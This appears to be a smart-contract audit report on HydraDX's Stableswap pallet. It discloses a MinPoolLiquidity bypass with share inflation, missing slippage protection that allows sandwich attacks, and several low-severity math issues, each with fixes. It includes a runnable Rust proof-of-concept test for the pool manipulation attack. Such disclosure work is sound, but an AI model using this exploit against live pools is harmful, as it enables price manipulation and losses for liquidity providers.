HydraDX - 3docSec's results

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L677-L681

Vulnerability details

The Omnipool has a MinPoolLiquidity integrity check against the total_issuance of pool shares, to prevent price manipulations:

File: lib.rs
551: 		pub fn remove_liquidity_one_asset(
---
552: 			origin: OriginFor<T>,
553: 			pool_id: T::AssetId,
554: 			asset_id: T::AssetId,
555: 			share_amount: Balance,
556: 			min_amount_out: Balance,
557: 		) -> DispatchResult {
558: 			let who = ensure_signed(origin)?;
---
581: 			let share_issuance = T::Currency::total_issuance(pool_id);
582: 
583: 			ensure!(
584: 				share_issuance == share_amount
585: 					|| share_issuance.saturating_sub(share_amount) >= T::MinPoolLiquidity::get(),
586: 				Error::<T>::InsufficientLiquidityRemaining
587: 			);

This check is however relaxed in the withdraw_asset_amount function, with no check on pool shares issuance, to always allow a given user to redeem the entirety of their shares:

File: lib.rs
638: 		pub fn withdraw_asset_amount(
---
639: 			origin: OriginFor<T>,
640: 			pool_id: T::AssetId,
641: 			asset_id: T::AssetId,
642: 			amount: Balance,
643: 			max_share_amount: Balance,
---
644: 		) -> DispatchResult {
645: 			let who = ensure_signed(origin)?;
---
676: 			let current_share_balance = T::Currency::free_balance(pool_id, &who);
677: 			ensure!(
678: 				current_share_balance == shares
679: 					|| current_share_balance.saturating_sub(shares) >= T::MinPoolLiquidity::get(),
680: 				Error::<T>::InsufficientShareBalance
681: 			);

This relaxed check can be exploited to bring the total_issuance of pool shares below MinPoolLiquidity, potentially down to single digits where the value of shares can can be further inflated with token donations to the pool account, which, unlike omnipools, are not filtered by the application runtime.

Impact

The value of shares of a pool with a single liquidity provider can be manipulated. This will prevent other liquidity providers from entering the pool and allow the single liquidity provider to arbitrarily change the prices of the pool's swaps without risking assets.

Proof of Concept

The following PoC shows how exploiting the withdraw_asset_amount relaxed check and donating tokens to the pool allows extreme share value inflation and arbitrary pool price manipulation, and how entering this situation allows an attacker to keep other liquidity providers out of the pool:

// this test can be run when added in pallets/stableswap/src/tests/add_liquidity.rs
#[test]
fn add_initial_liquidity_price_manipulation() {
	let pool_id: AssetId = 100u32;
	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, 1, 200 * ONE),
			(BOB, 2, 200 * ONE),
			(ALICE, 1, 200 * ONE),
			(ALICE, 2, 200 * ONE),
		])
		.with_registered_asset("pool".as_bytes().to_vec(), pool_id, 12)
		.with_registered_asset("one".as_bytes().to_vec(), 1, 18)
		.with_registered_asset("two".as_bytes().to_vec(), 2, 18)
		.build()
		.execute_with(|| 
			let asset_a: AssetId = 1;
			let asset_b: AssetId = 2;
			let amplification: u16 = 100;

			assert_ok!(Stableswap::create_pool(
				RuntimeOrigin::root(),
				pool_id,
				vec![asset_a, asset_b],
				amplification,
				Permill::from_percent(0),
			));

			// Bob provides 100 * ONE liquidity
			let initial_liquidity_amount = 100 * ONE;

			let pool_account = pool_account(pool_id);

			assert_ok!(Stableswap::add_liquidity(
				RuntimeOrigin::signed(BOB),
				pool_id,
				vec![
					AssetAmount::new(asset_a, initial_liquidity_amount),
					AssetAmount::new(asset_b, initial_liquidity_amount),
				]
			));

			assert_balance!(BOB, asset_a, 100 * ONE);
			assert_balance!(BOB, asset_b, 100 * ONE);
			assert_balance!(BOB, pool_id, 200 * ONE);
			assert_balance!(pool_account, asset_a, 100 * ONE);
			assert_balance!(pool_account, asset_b, 100 * ONE);

			// Alice and Bob are friends, or accounts of the same owner;
            // Bob gives Alice some shares
			let amt1: u128 = 199980001326666;
			assert_ok!(Tokens::transfer(
				RuntimeOrigin::signed(BOB), 
				ALICE, 
				pool_id, 
				200 * ONE - amt1,
			));

			// Bob redeems most of asset_a,
			// bypassing the MinPoolLiquidity check
			assert_ok!(Stableswap::withdraw_asset_amount(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_a,
				100 * ONE - 1,
				amt1,
			));

			// Alice gives Bob most of their shares back
			assert_ok!(Tokens::transfer(
				RuntimeOrigin::signed(ALICE), 
				BOB, 
				pool_id, 
				19998673331
			));

			// Bob redeems most of asset_b,
			// bypassing once again the MinPoolLiquidity check
			assert_ok!(Stableswap::withdraw_asset_amount(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_b,
				100 * ONE - 1,
				amt1,
			));

			// Now Alice has `3` shares that correspond to `1 asset_a` and `1 asset_b`
			assert_balance!(ALICE, pool_id, 3);
			assert_balance!(pool_account, asset_a, 1);
			assert_balance!(pool_account, asset_b, 1);

			// And the value of these 3 shares can now be inflated with donations,
            // these are safe for the attacker since she is the only holder of liquidity tokens.
			
			// The arbitrary nature of the donated amount allows the donor to force the spot
			// price they want for the pool
			assert_ok!(Tokens::transfer(
				RuntimeOrigin::signed(ALICE), 
				pool_account, 
				asset_a, 
				100 * ONE
			));

			assert_ok!(Tokens::transfer(
				RuntimeOrigin::signed(ALICE), 
				pool_account, 
				asset_b, 
				100 * ONE
			));

			// At this point, another user comes in and adds tokens to the pool
			// we reuse BOB for simplicity; the operation fails
			assert_noop!(Stableswap::add_liquidity(
				RuntimeOrigin::signed(BOB), 
				pool_id, 
				vec![
					AssetAmount::new(asset_a, initial_liquidity_amount),
					AssetAmount::new(asset_b, initial_liquidity_amount),
				]
			), Error::<Test>::InsufficientShareBalance);
		);
}

Tools Used

Code review, unit tests

Recommended Mitigation Steps

• enforcing the MinPoolLiquidity on total_issuance also on withdraw_asset_amount
• to facilitate withdrawals from deprecated pools, the check can be safely relaxed limitedly to pools that have only the REMOVE_LIQUIDITY flag set, so trading won't happen on manipulated pools
• adding a runtime filter to token donations to Stableswap pool accounts in analogy with Omnipool account

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L475-L492

Vulnerability details

Liquidity providers of Stableswap pools receive pool shares in exchange of the liquidity tokens they provide. Since the value of these shares may fluctuate over the value of the liquidity tokens, slippage protection is in place for the add_liquidity_shares function via the max_asset_amount parameter:

File: lib.rs
512: 		pub fn add_liquidity_shares(
513: 			origin: OriginFor<T>,
514: 			pool_id: T::AssetId,
515: 			shares: Balance,
516: 			asset_id: T::AssetId,
517: 			max_asset_amount: Balance,
518: 		) -> DispatchResult {

However, similar protection is not offered by the add_liquidity function, which does not allow specifying the minimum number of shares the users expects in return:

File: lib.rs
475: 		pub fn add_liquidity(
476: 			origin: OriginFor<T>,
477: 			pool_id: T::AssetId,
478: 			assets: Vec<AssetAmount<T::AssetId>>,
479: 		) -> DispatchResult {

Impact

Callers of add_liquidity may incur an unexpected loss when providing liquidity on a temporarily undervalued asset. This can be exploited for profit of other liquidity providers with a sandwich attack on add_liquidity calls.

Proof of Concept

While we can't provide a runnable test that covers missing logic, we can prove the concept by observing that in high volatility scenarios, the liquidity provider has no way to specify a minimum number of shares they expect in return for their participation to the pool.

It is therefore possible that:

• a victim's add_liquidity call is anticipated by a large swap that deflates the value of the token the victim is providing
• the call is then executed, and a lower number of shares is given to the victim
• a subsequent swap re-equilibrates prices, and the victim's shares can be redeemed for less value than what was provided
• this difference in value benefits the pool share holders, so a large share holder can perform such attack at their profit

Tools Used

Code review, unit tests

Recommended Mitigation Steps

Consider adding a min_shares slippage protection parameter to the add_liquidity function:

		pub fn add_liquidity(
			origin: OriginFor<T>,
			pool_id: T::AssetId,
			assets: Vec<AssetAmount<T::AssetId>>,
+			min_shares: Balance,
		) -> DispatchResult {
			let who = ensure_signed(origin)?;

			let shares = Self::do_add_liquidity(&who, pool_id, &assets)?;
+			ensure!(shares >= min_shares, Error::<T>::SlippageLimit);

			Self::deposit_event(Event::LiquidityAdded {
				pool_id,
				who,
				shares,
				assets,
			});

			Ok(())
		}

Assessed type

Invalid Validation

[L-01] Incorrect rounding in calculate_out_given_in and calculate_in_given_out

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/math/src/stableswap/math.rs#L38 https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/math/src/stableswap/math.rs#L69

In the Stableswap math's calculate_out_given_in, the user provides an amount of in token and the function calculates the corresponding out token.

When in has to be adjusted to a lower number of decimals, it is rounded up:

File: math.rs
23: pub fn calculate_out_given_in<const D: u8, const Y: u8>(
---
29: ) -> Option<Balance> {
---
34: 	let amount_in = normalize_value(
35: 		amount_in,
36: 		initial_reserves[idx_in].decimals,
37: 		TARGET_PRECISION,
38: 		Rounding::Up,
39: 	);

this rounding causes the protocol to calculate the output for an input potentially higher than what the user actually provided.

Similarly, in calculate_in_given_out, the given out is rounded down, causing the math to calculate the in tokens corresponding to a lower amount than what the user will get, again going in the protocol's disfavor:

File: math.rs
54: pub fn calculate_in_given_out<const D: u8, const Y: u8>(
---
60: ) -> Option<Balance> {
---
65: 	let amount_out = normalize_value(
66: 		amount_out,
67: 		initial_reserves[idx_out].decimals,
68: 		TARGET_PRECISION,
69: 		Rounding::Down,
70: 	);

Consider changing these roundings to be in the protocol's favor.

[L-02] Unsafe usage of saturating_mul in Stableswap math's normalize_value

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/math/src/stableswap/math.rs#L635

In the Stableswap math's normalize_value function, when upscaling an amount (target_decimals > decimals), the given input is multiplied by a power of 10 using saturating_mul. This can be exploited to artificially deflate the output amount versus the input amount.

File: math.rs
629: pub(crate) fn normalize_value(amount: Balance, decimals: u8, target_decimals: u8, rounding: Rounding) -> Balance {
630: 	if target_decimals == decimals {
631: 		return amount;
632: 	}
633: 	let diff = target_decimals.abs_diff(decimals);
634: 	if target_decimals > decimals {
635: 		amount.saturating_mul(10u128.saturating_pow(diff as u32))
636: 	} else {
637: 		match rounding {
638: 			Rounding::Down => amount.div(10u128.saturating_pow(diff as u32)),
639: 			Rounding::Up => amount
640: 				.div(10u128.saturating_pow(diff as u32))
641: 				.saturating_add(Balance::one()),
642: 		}
643: 	}
644: }

Even though this is unlikely to be exploited in a real-world scenario where this logic is integrated with safe token transfers, consider using a checked_mul instead of saturating_mul at L635.

[L-03] Stableswap amplification changes can cut previous ramps short

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L426-L438

Amplification changes are applied to stableswap pools with a linear interpolation of amplification of values over time.

Whenever a new amplification value is set, the Stableswap logic freezes the current amplification until start_block is reached:

File: lib.rs
408: 		pub fn update_amplification(
---
414: 		) -> DispatchResult {
---
433: 				pool.initial_amplification =
434: 					NonZeroU16::new(current_amplification.saturated_into()).ok_or(Error::<T>::InvalidAmplification)?;
435: 				pool.final_amplification =
436: 					NonZeroU16::new(final_amplification).ok_or(Error::<T>::InvalidAmplification)?;
437: 				pool.initial_block = start_block;
438: 				pool.final_block = end_block;

This can cut short a pre-existing ramp, freezing entirely its evolution between in the time between the update_amplification and start_block. Consider letting the pre-existing ramp evolve until start_block is reached, and only at this point, freeze the previous ramp's current value to become the new ramp's initial_amplification.

[L-04] Token transfers to stableswap pools are not filtered

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/runtime/hydradx/src/system.rs#L65-L87

The HydraDX runtime configuration prevents token transfers to the Omnipool account. For stableswap pools no similar measure is taken, allowing anyone to transfer tokens to stableswap pool accounts, and consequently altering the swap spot price.

While this issue is per se low-risk (because the account transferring tokens would lose them to arbitrageurs and liquidity providers), it can be leveraged to increase the severity of an attack based on other vulnerabilities.